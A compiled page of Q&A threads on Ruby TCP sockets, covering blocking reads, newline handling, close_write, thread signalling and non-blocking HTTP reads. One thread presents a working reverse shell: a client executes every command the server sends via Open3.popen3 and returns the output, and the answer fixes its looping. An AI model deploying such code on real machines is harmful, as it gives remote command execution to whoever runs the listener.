Ruby socket keep waiting for Response - ruby

I am new to Ruby programming, I am trying to build a simple echo server, but on client.gets it freezes. I am new to socket programming.
server.rb
require "socket"
require "tty/prompt"
socket = TCPServer.open("0.0.0.0", 3000)
prompt = TTY::Prompt.new
loop do
client = socket.accept
client.print prompt.ask("server >")
line = client.gets # freezes here
puts line
end
socket.close
client.rb
require "socket"
require "tty/prompt"
socket = TCPSocket.open("192.168.1.6", 3000)
prompt = TTY::Prompt.new
loop do
socket.print prompt.ask("client >")
puts socket.gets # freezes here
end
server.close

Values you get from prompt.ask, they don't include newline char. And you don't add one when you print data to the socket. So gets waits for end-of-line marker that never arrives (hence "freezing").
Solution: use socket.puts instead of socket.print (does the same thing, but adds a newline char at the end).

Related

Read data both ways TCPServer Ruby

im new in Ruby and Im trying to set up a TCPServer and a Client, but Im having trouble getting the data from the client to the server because for some reason when the client connects, the connection is freezed inside the while loop.
Here is the code:
server.rb
require "socket"
server = TCPServer.new 1234
test = ""
loop do
session = server.accept
puts "Entering enter code herewhile loop."
while line = session.gets
puts "Inside while loop"
test << line
end
puts "Finished reading data"
puts "Data recieved - #{test}" # Read data from client
session.write "Time is #{Time.now}" # Send data to clent
session.close
end
client.rb
require "socket"
socket = TCPSocket.open("localhost", 1234)
socket.puts "Sending data.." # Send data to server
while(line = socket.gets)
puts line
end # Print sever response
socket.close
The server prints "Inside while loop" one time, and then for some reason it never prints "Finished reading data" until I manually end the client connection, after the client ends the connection the server prints everything OK. How can I make this code work? Thanks!
IO#gets is a blocking call. It waits for either a new line from the underlying I/O stream, or the end of the stream. (in which case it returns nil)
In server.rb you have
while line = session.gets
puts "Inside while loop"
test << line
end
session.gets reads one line from your client, prints some debug info and appends the line to test. It then attempts to read another line from the client.
Your client.rb however never sends a seconds line, nor does it close the stream. It sends a single line:
socket.puts "Sending data.." # Send data to server
and then waits for a response:
while(line = socket.gets)
puts line
end
which never comes because the server is sitting in the while loop, waiting for more data from the client.
You can solve this by calling close_write after all data has been sent:
socket.puts "Sending data.." # Send data to server
socket.close_write # Close socket for further writing
Calling close_write instead of close allows you to still read from the socket. It will also cause the server's session.gets to return nil, so it can get out of its loop.

Reverse Shell - How to make the server print multiple messages sent to the client

My reverse shell will only print the output of "ls" command the first time, how can I make it print, in the server, as many times as I want to?
require 'socket'
require 'open3'
def createClient(hostname, port)
s = TCPSocket.new hostname, port
while line = s.gets
if line == "exit"
s.close
end
stdin, stdout, stderr, wait_thr = Open3.popen3(line)
s.puts("#{stdout.read}")
end
end
createClient("127.0.0.1", 9090)
require 'socket'
def createServer(hostname, port)
server = TCPServer.new(hostname, port)
client = server.accept
loop do
message = gets.chomp
if message == "exit"
break
end
client.puts(message)
while line = client.gets
puts line
end
end
client.close
end
createServer("127.0.0.1", 9090)
I was expecting the server to print all of the ls commands processed by the client, but it only printed the first one.
the client.gets keeps listening to the socket until it is closed. so it hangs there.
you can try to open a tread to listen to the socket. The main loop listens to stdin and sends msg to the socket. like this:
Thread.new do
while line = client.gets
puts line
end
end
loop do
message = gets.chomp
if message == "exit"
break
end
client.puts(message)
end
client.close

Ruby - MultiThreading TCP Messages

I am having an issue with a ruby server I am writing.
The server functions fine until you have more than one client attached, then it sends out the messages in a round-robin like way, when I want all clients to get the message at the same time.
The server is supposed to grab any clients that connects, but then wait till I issue a command. The problem is only one client is getting the command, when I enter a command again another client gets it and so on
SERVER
require 'socket'
mutex = Mutex.new
cv = ConditionVariable.new
server = TCPServer.open(2000)
#Comm="test"
Thread.new{
loop {
Thread.start(server.accept) do |client|
client.puts("Client accepted")
mutex.synchronize {
cv.wait(mutex)
client.puts("##Comm")
client.close
}
end
}
}
loop {
system "clear" or system "cls"
print("Enter Command\n")
#Comm = gets()
mutex.synchronize {
cv.signal
}
}
CLIENT
require 'socket' # Sockets are in standard library
hostname = 'localhost'
port = 2000
loop {
begin
s = TCPSocket.open(hostname, port)
system "clear" or system "cls"
while line = s.gets # Read lines from the socket
puts line.chop # And print with platform line terminator
end
s.close
rescue
next
end
sleep(0.5)
}
Using .signal on ConditionVariable only wakes up one thread, but .broadcast will go and wake up all that are waiting to be signaled.

Unusual behavior of Ruby script while working with sockets

The thing is that I am very beginner in Ruby programming and I have some troubles with understanding Ruby's behavior.
Here is the code:
require 'socket'
server = TCPServer.new 2000
loop do
Thread.start(server.accept) do |client|
puts 'Client connected: ' + client.gets
line = "-1"
while (line != "/close ")
line = client.gets();
puts line
end
puts 'client closed'
client.close
end
end
As you see, it's a simple socket server waiting for some input information.
The problem is that when it gets "/close ", it exits the while loop, but never goes to
puts 'client closed' and client.close. So why is it so, or what am I doing wrong?
I suspect that if you change puts line to puts line.inspect you will see the problem.
Found it? gets reads by lines, which includes the line-terminating \n, so no line you get will ever equal "/close ". Changing the comparison to use line.strip will work, for example.

How to read from a TCPServer socket in ruby using read, readpartial and read_nonblock

I have a 2 part question on reading from sockets and how is it managed on Ruby servers like Unicorn or Mongrel
I've learnt that to read from a socket is different from reading a file and that there are no distinct EOF message sent and the data is an endless stream. So how do you know when to stop reading? My TCPServer for example in this case when I hit my server by accessing http://localhost:9799 from a browser, it hangs after there is no more data to read and it won't throw the EOFError either.
require 'socket'
READ_CHUNK = 1024
socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM)
addr = Socket.pack_sockaddr_in(9799, '127.0.0.1')
socket.bind(addr)
socket.listen(Socket::SOMAXCONN)
socket.setsockopt(:SOCKET, :REUSEADDR, true)
puts "Server is listening on port = 9799"
loop do
connection, addr_info = socket.accept
data_buffer = ""
loop do
begin
connection.read_nonblock(READ_CHUNK, data_buffer)
puts "Buffer = #{data_buffer}"
rescue Errno::EAGAIN => e
IO.select([connection])
retry
rescue EOFError
break
end
end
connection.write("HTTP/1.1 200 \r\n")
connection.write("Content-Type: text/html\r\n")
connection.write("Status 200 \r\n")
connection.write("Connection: close \r\n")
connection.write("Hello World \r\n")
connection.close
end
I'd like to know whats the best practice/standard approach used by Ruby servers. I see the Unicorn uses read_nonblock from kgio library and mongrel uses readpartial (I'm not sure about these but going through the code this is what I feel is the approach adopted.) Even with checks for \r\n how does the server know the input is complete.
Could explain how this should be done (and I think gets is not the approach - its with read, readpartial, read_nonblock).
2). I would really appreciate a few lines on how this is achieved in servers like unicorn or passenger
Thank you.
It's done in unicorn here
https://github.com/defunkt/unicorn/blob/master/lib/unicorn/http_request.rb#L69-L71
There is add_parse method(read the comments above methods)
https://github.com/defunkt/unicorn/blob/master/ext/unicorn_http/unicorn_http.rl#L760-L778
Also take a look at some explanations here http://www.ruby-forum.com/topic/2267632#1014288
Here is your working code using http_parser.rb https://gist.github.com/4136962
gem install http_parser.rb
require 'socket'
require "http/parser"
READ_CHUNK = 1024 * 4
socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM)
addr = Socket.pack_sockaddr_in(9799, '127.0.0.1')
socket.bind(addr)
socket.listen(Socket::SOMAXCONN)
socket.setsockopt(:SOCKET, :REUSEADDR, true)
puts "Server is listening on port = 9799"
loop do
connection, addr_info = socket.accept
parser = Http::Parser.new
begin
data = connection.readpartial(READ_CHUNK)
puts "Buffer = #{data}"
parser << data
end until parser.headers
connection.write("HTTP/1.1 200 \r\n")
connection.write("Content-Type: text/html\r\n")
connection.write("Status 200 \r\n")
connection.write("Connection: close \r\n")
connection.write("\r\n\r\n")
connection.write("Hello World \r\n")
connection.close
end

Resources